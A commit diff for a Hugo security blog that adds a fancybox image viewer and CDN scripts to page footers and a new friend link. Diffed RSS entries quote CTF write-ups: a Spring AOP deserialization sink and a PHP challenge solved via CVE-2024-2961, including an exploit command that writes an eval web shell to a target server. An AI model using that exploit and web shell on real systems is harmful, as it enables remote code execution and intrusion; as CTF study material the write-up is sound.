image rander

Author: gsbp

hugo.toml

@@ -11,6 +11,7 @@ paginate = 5
 Title = "GSBP's Blog"
 content = "Interesting in CyberSecurity"
 imageUrl = "/img/GSBP.jpg"
+fancybox = true
 
 # To add a new social icon 
 # More social icons can be found in JuiceBar\layouts\partials\svg.html.

public/404.html

@@ -143,12 +143,18 @@ <h1>GSBP&#39;s Blog</h1>
         </main><footer class="footer">
     <div class="content has-text-centered">
     <span>&copy; 2025 <a href="http://localhost:1313/">GSBP&#39;s Blog</a></span>
+    
+    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" />
+    <script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>
+    
     <span>
         Powered by
         <a href="https://gohugo.io/" target="_blank">Hugo</a> &
         <a href="https://github.com/hotjuicew/hugo-JuiceBar" target="_blank">JuiceBar</a>
     </span>
     </div>
-  </footer></body>
+  </footer>
+</body>
 </html>
 

public/about/index.html

@@ -177,12 +177,18 @@ <h1 id="contact-me">Contact Me</h1>
         </main><footer class="footer">
     <div class="content has-text-centered">
     <span>&copy; 2025 <a href="http://localhost:1313/">GSBP&#39;s Blog</a></span>
+    
+    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" />
+    <script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>
+    
     <span>
         Powered by
         <a href="https://gohugo.io/" target="_blank">Hugo</a> &
         <a href="https://github.com/hotjuicew/hugo-JuiceBar" target="_blank">JuiceBar</a>
     </span>
     </div>
-  </footer></body>
+  </footer>
+</body>
 </html>
 

public/categories/index.html

@@ -186,12 +186,18 @@ <h1>Categories</h1>
         </main><footer class="footer">
     <div class="content has-text-centered">
     <span>&copy; 2025 <a href="http://localhost:1313/">GSBP&#39;s Blog</a></span>
+    
+    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" />
+    <script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>
+    
     <span>
         Powered by
         <a href="https://gohugo.io/" target="_blank">Hugo</a> &
         <a href="https://github.com/hotjuicew/hugo-JuiceBar" target="_blank">JuiceBar</a>
     </span>
     </div>
-  </footer></body>
+  </footer>
+</body>
 </html>
 

public/categories/java安全/index.html

@@ -170,12 +170,18 @@ <h2 class="archive-title">Category: Java安全</h2>
         </main><footer class="footer">
     <div class="content has-text-centered">
     <span>&copy; 2025 <a href="http://localhost:1313/">GSBP&#39;s Blog</a></span>
+    
+    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" />
+    <script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>
+    
     <span>
         Powered by
         <a href="https://gohugo.io/" target="_blank">Hugo</a> &
         <a href="https://github.com/hotjuicew/hugo-JuiceBar" target="_blank">JuiceBar</a>
     </span>
     </div>
-  </footer></body>
+  </footer>
+</body>
 </html>
 

public/categories/java安全/index.xml

@@ -13,7 +13,7 @@
       <link>http://localhost:1313/post/springaop/</link>
       <pubDate>Thu, 23 Jan 2025 23:33:31 +0800</pubDate>
       <guid>http://localhost:1313/post/springaop/</guid>
-      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;&#xA;&lt;p&gt;在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链，于是自己调试学习了一下&lt;/p&gt;&#xA;&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;&#xA;&lt;p&gt;依赖于Spring-AOP和aspectjweaver两个包，但是springboot中的spring-boot-starter-aop自带包含这俩类&lt;/p&gt;&#xA;&lt;h3 id=&#34;流程&#34;&gt;流程&lt;/h3&gt;&#xA;&lt;p&gt;调用链如下&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;JdkDynamicAopProxy.invoke()-&amp;gt;&#xD;&#xA;ReflectiveMethodInvocation.proceed()-&amp;gt;&#xD;&#xA;AspectJAroundAdvice-&amp;gt;invoke-&amp;gt;&#xD;&#xA;org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-&amp;gt;&#xD;&#xA;method.invoke()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行类是&lt;code&gt;org.springframework.aop.aspectj.AbstractAspectJAdvice&lt;/code&gt;的&lt;strong&gt;invokeAdviceMethodWithGivenArgs&lt;/strong&gt;方法&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123020448769.png&#34; alt=&#34;image-20250123020448769&#34;&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;    protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {&#xD;&#xA;        Object[] actualArgs = args;&#xD;&#xA;        if (this.aspectJAdviceMethod.getParameterCount() == 0) {&#xD;&#xA;            actualArgs = null;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        try {&#xD;&#xA;            ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);&#xD;&#xA;            return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);&#xD;&#xA;        } catch (IllegalArgumentException ex) {&#xD;&#xA;            throw new AopInvocationException(&amp;#34;Mismatch on arguments to advice method [&amp;#34; + this.aspectJAdviceMethod + &amp;#34;]; pointcut expression [&amp;#34; + this.pointcut.getPointcutExpression() + &amp;#34;]&amp;#34;, ex);&#xD;&#xA;        } catch (InvocationTargetException ex) {&#xD;&#xA;            throw ex.getTargetException();&#xD;&#xA;        }&#xD;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;直接在AOP依赖下的一个sink点，有着反射执行任意方法的能力，操作空间很大&lt;/p&gt;</description>
+      <description>&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;&#xA;&lt;p&gt;在浏览文章的时候看见有师傅发现了一条仅依赖于Springboot中的SpringAOP的链，于是自己调试学习了一下&lt;/p&gt;&#xA;&lt;h2 id=&#34;正文&#34;&gt;正文&lt;/h2&gt;&#xA;&lt;p&gt;依赖于Spring-AOP和aspectjweaver两个包，但是springboot中的spring-boot-starter-aop自带包含这俩类&lt;/p&gt;&#xA;&lt;h3 id=&#34;流程&#34;&gt;流程&lt;/h3&gt;&#xA;&lt;p&gt;调用链如下&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;JdkDynamicAopProxy.invoke()-&amp;gt;&#xD;&#xA;ReflectiveMethodInvocation.proceed()-&amp;gt;&#xD;&#xA;AspectJAroundAdvice-&amp;gt;invoke-&amp;gt;&#xD;&#xA;org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()-&amp;gt;&#xD;&#xA;method.invoke()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;执行类是&lt;code&gt;org.springframework.aop.aspectj.AbstractAspectJAdvice&lt;/code&gt;的&lt;strong&gt;invokeAdviceMethodWithGivenArgs&lt;/strong&gt;方法&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&lt;div class=&#34;post-img-view&#34;&gt;&#xA;&lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123020448769.png&#34;&gt;&#xA;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250123020448769.png&#34; alt=&#34;image-20250123020448769&#34;  /&gt;&#xA;&lt;/a&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;    protected Object invokeAdviceMethodWithGivenArgs(Object[] args) throws Throwable {&#xD;&#xA;        Object[] actualArgs = args;&#xD;&#xA;        if (this.aspectJAdviceMethod.getParameterCount() == 0) {&#xD;&#xA;            actualArgs = null;&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;        try {&#xD;&#xA;            ReflectionUtils.makeAccessible(this.aspectJAdviceMethod);&#xD;&#xA;            return this.aspectJAdviceMethod.invoke(this.aspectInstanceFactory.getAspectInstance(), actualArgs);&#xD;&#xA;        } catch (IllegalArgumentException ex) {&#xD;&#xA;            throw new AopInvocationException(&amp;#34;Mismatch on arguments to advice method [&amp;#34; + this.aspectJAdviceMethod + &amp;#34;]; pointcut expression [&amp;#34; + this.pointcut.getPointcutExpression() + &amp;#34;]&amp;#34;, ex);&#xD;&#xA;        } catch (InvocationTargetException ex) {&#xD;&#xA;            throw ex.getTargetException();&#xD;&#xA;        }&#xD;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;直接在AOP依赖下的一个sink点，有着反射执行任意方法的能力，操作空间很大&lt;/p&gt;</description>
     </item>
     <item>
       <title>JDK17打Jackson&#43;LdapAttruibute反序列化</title>

public/categories/wp/index.html

@@ -180,12 +180,18 @@ <h2 class="archive-title">Category: WP</h2>
         </main><footer class="footer">
     <div class="content has-text-centered">
     <span>&copy; 2025 <a href="http://localhost:1313/">GSBP&#39;s Blog</a></span>
+    
+    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" />
+    <script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>
+    
     <span>
         Powered by
         <a href="https://gohugo.io/" target="_blank">Hugo</a> &
         <a href="https://github.com/hotjuicew/hugo-JuiceBar" target="_blank">JuiceBar</a>
     </span>
     </div>
-  </footer></body>
+  </footer>
+</body>
 </html>
 

public/categories/wp/index.xml

@@ -13,7 +13,7 @@
       <link>http://localhost:1313/post/2025n1junior-wp/</link>
       <pubDate>Tue, 11 Feb 2025 23:00:00 +0800</pubDate>
       <guid>http://localhost:1313/post/2025n1junior-wp/</guid>
-      <description>&lt;h2 id=&#34;gavatar&#34;&gt;Gavatar&lt;/h2&gt;&#xA;&lt;p&gt;一个php服务&lt;/p&gt;&#xA;&lt;p&gt;这里看upload.php有着很明显的任意文件读的漏洞，只需要post一个url参数就可以&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;if (!empty($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;])) {&#xA;    $finfo = new finfo(FILEINFO_MIME_TYPE);&#xA;    if (!in_array($finfo-&amp;gt;file($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;]), [&amp;#39;image/jpeg&amp;#39;, &amp;#39;image/png&amp;#39;, &amp;#39;image/gif&amp;#39;])) {&#xA;        die(&amp;#39;Invalid file type&amp;#39;);&#xA;    }&#xA;    move_uploaded_file($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;], $avatarPath);&#xA;} elseif (!empty($_POST[&amp;#39;url&amp;#39;])) {&#xA;    $image = @file_get_contents($_POST[&amp;#39;url&amp;#39;]);&#xA;    if ($image === false) die(&amp;#39;Invalid URL&amp;#39;);&#xA;    file_put_contents($avatarPath, $image);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;flag也不能直接读，需要rce调用/readflag，然后就开始想能不能和其他php文件下的漏洞一起利用&lt;/p&gt;&#xA;&lt;p&gt;也是没有其他能够接着利用的漏洞了，然后看到php版本是8.3.4，就想到那个iconv的漏洞利用&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&#34;&gt;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;因为不是直接返回文件内容，而是需要我们从&lt;code&gt;avatar.php&lt;/code&gt;中获取，这里需要稍微改一下脚本中的download函数，要提前注册一个用户，然后把session和user填上即可&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;    def download(self, path: str) -&amp;gt; bytes:&#xA;        &amp;#34;&amp;#34;&amp;#34;Returns the contents of a remote file.&#xA;        &amp;#34;&amp;#34;&amp;#34;&#xA;        path = f&amp;#34;php://filter/convert.base64-encode/resource={path}&amp;#34;&#xA;        self.send(path)&#xA;        response=self.session.get(&amp;#34;http://39.106.16.204:20871/avatar.php?user=123&amp;#34;)&#xA;        print(response)&#xA;        data = response.text&#xA;        return base64.decode(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后跑exp就好了&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python test.py http://39.106.16.204:20871/upload.php &amp;#34;echo &amp;#39;&amp;lt;?=@eval(\$_POST[0]);?&amp;gt;&amp;#39; &amp;gt; shell.php&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250211210919337.png&#34; alt=&#34;image-20250211210919337&#34;&gt;&lt;/p&gt;</description>
+      <description>&lt;h2 id=&#34;gavatar&#34;&gt;Gavatar&lt;/h2&gt;&#xA;&lt;p&gt;一个php服务&lt;/p&gt;&#xA;&lt;p&gt;这里看upload.php有着很明显的任意文件读的漏洞，只需要post一个url参数就可以&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;if (!empty($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;])) {&#xA;    $finfo = new finfo(FILEINFO_MIME_TYPE);&#xA;    if (!in_array($finfo-&amp;gt;file($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;]), [&amp;#39;image/jpeg&amp;#39;, &amp;#39;image/png&amp;#39;, &amp;#39;image/gif&amp;#39;])) {&#xA;        die(&amp;#39;Invalid file type&amp;#39;);&#xA;    }&#xA;    move_uploaded_file($_FILES[&amp;#39;avatar&amp;#39;][&amp;#39;tmp_name&amp;#39;], $avatarPath);&#xA;} elseif (!empty($_POST[&amp;#39;url&amp;#39;])) {&#xA;    $image = @file_get_contents($_POST[&amp;#39;url&amp;#39;]);&#xA;    if ($image === false) die(&amp;#39;Invalid URL&amp;#39;);&#xA;    file_put_contents($avatarPath, $image);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;flag也不能直接读，需要rce调用/readflag，然后就开始想能不能和其他php文件下的漏洞一起利用&lt;/p&gt;&#xA;&lt;p&gt;也是没有其他能够接着利用的漏洞了，然后看到php版本是8.3.4，就想到那个iconv的漏洞利用&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&#34;&gt;https://www.ambionics.io/blog/iconv-cve-2024-2961-p1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;因为不是直接返回文件内容，而是需要我们从&lt;code&gt;avatar.php&lt;/code&gt;中获取，这里需要稍微改一下脚本中的download函数，要提前注册一个用户，然后把session和user填上即可&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;    def download(self, path: str) -&amp;gt; bytes:&#xA;        &amp;#34;&amp;#34;&amp;#34;Returns the contents of a remote file.&#xA;        &amp;#34;&amp;#34;&amp;#34;&#xA;        path = f&amp;#34;php://filter/convert.base64-encode/resource={path}&amp;#34;&#xA;        self.send(path)&#xA;        response=self.session.get(&amp;#34;http://39.106.16.204:20871/avatar.php?user=123&amp;#34;)&#xA;        print(response)&#xA;        data = response.text&#xA;        return base64.decode(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;然后跑exp就好了&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python test.py http://39.106.16.204:20871/upload.php &amp;#34;echo &amp;#39;&amp;lt;?=@eval(\$_POST[0]);?&amp;gt;&amp;#39; &amp;gt; shell.php&amp;#34;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&#xA;&lt;div class=&#34;post-img-view&#34;&gt;&#xA;&lt;a data-fancybox=&#34;gallery&#34; href=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250211210919337.png&#34;&gt;&#xA;&lt;img src=&#34;https://tuchuang-1322176132.cos.ap-chengdu.myqcloud.com//imgimage-20250211210919337.png&#34; alt=&#34;image-20250211210919337&#34;  /&gt;&#xA;&lt;/a&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;/p&gt;</description>
     </item>
     <item>
       <title>JDK17打Jackson&#43;LdapAttruibute反序列化</title>

public/friend/index.html

@@ -42,6 +42,16 @@
   J1rry
   SYCのWeber
   
+
+
+
+
+
+  
+  
+  adwa
+  0XFFF-Cryptor
+  
 ">
     <link rel="canonical" href="http://localhost:1313/friend/" />
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.4/css/bulma.min.css">
@@ -51,7 +61,7 @@
     <meta property="og:url" content="http://localhost:1313/friend/">
   <meta property="og:site_name" content="GSBP&#39;s Blog">
   <meta property="og:title" content="友链">
-  <meta property="og:description" content="Z3n1th z3✌️ N1rvana SU Weber Kengwang Stay Cool~ J1rry SYCのWeber">
+  <meta property="og:description" content="Z3n1th z3✌️ N1rvana SU Weber Kengwang Stay Cool~ J1rry SYCのWeber adwa 0XFFF-Cryptor">
   <meta property="og:locale" content="en_us">
   <meta property="og:type" content="article">
     <meta property="article:published_time" content="2025-01-18T01:22:01+08:00">
@@ -60,7 +70,7 @@
 
   <meta name="twitter:card" content="summary">
   <meta name="twitter:title" content="友链">
-  <meta name="twitter:description" content="Z3n1th z3✌️ N1rvana SU Weber Kengwang Stay Cool~ J1rry SYCのWeber">
+  <meta name="twitter:description" content="Z3n1th z3✌️ N1rvana SU Weber Kengwang Stay Cool~ J1rry SYCのWeber adwa 0XFFF-Cryptor">
 
 
 
@@ -230,6 +240,19 @@ <h1 class="title is-1">友链</h1>
 
 
 
+<div class="friend-div">
+  <a target="_blank" href=https://languag3.github.io/ title=adwa >
+  <img src=https://languag3.github.io/images/avatar.jpg
+       alt=adwa
+  data-sizes="auto"
+  data-srcset="https://languag3.github.io/images/avatar.jpg, https://languag3.github.io/images/avatar.jpg 1.5x, https://languag3.github.io/images/avatar.jpg 2x" />
+  <span class="friend-name">adwa</span>
+  <span class="friend-info">0XFFF-Cryptor</span>
+  </a>
+</div>
+
+
+
 
 		</div>
 	</div>
@@ -240,12 +263,18 @@ <h1 class="title is-1">友链</h1>
         </main><footer class="footer">
     <div class="content has-text-centered">
     <span>&copy; 2025 <a href="http://localhost:1313/">GSBP&#39;s Blog</a></span>
+    
+    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.min.js"></script>
+    <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.css" />
+    <script src="https://cdn.jsdelivr.net/gh/fancyapps/[email protected]/dist/jquery.fancybox.min.js"></script>
+    
     <span>
         Powered by
         <a href="https://gohugo.io/" target="_blank">Hugo</a> &
         <a href="https://github.com/hotjuicew/hugo-JuiceBar" target="_blank">JuiceBar</a>
     </span>
     </div>
-  </footer></body>
+  </footer>
+</body>
 </html>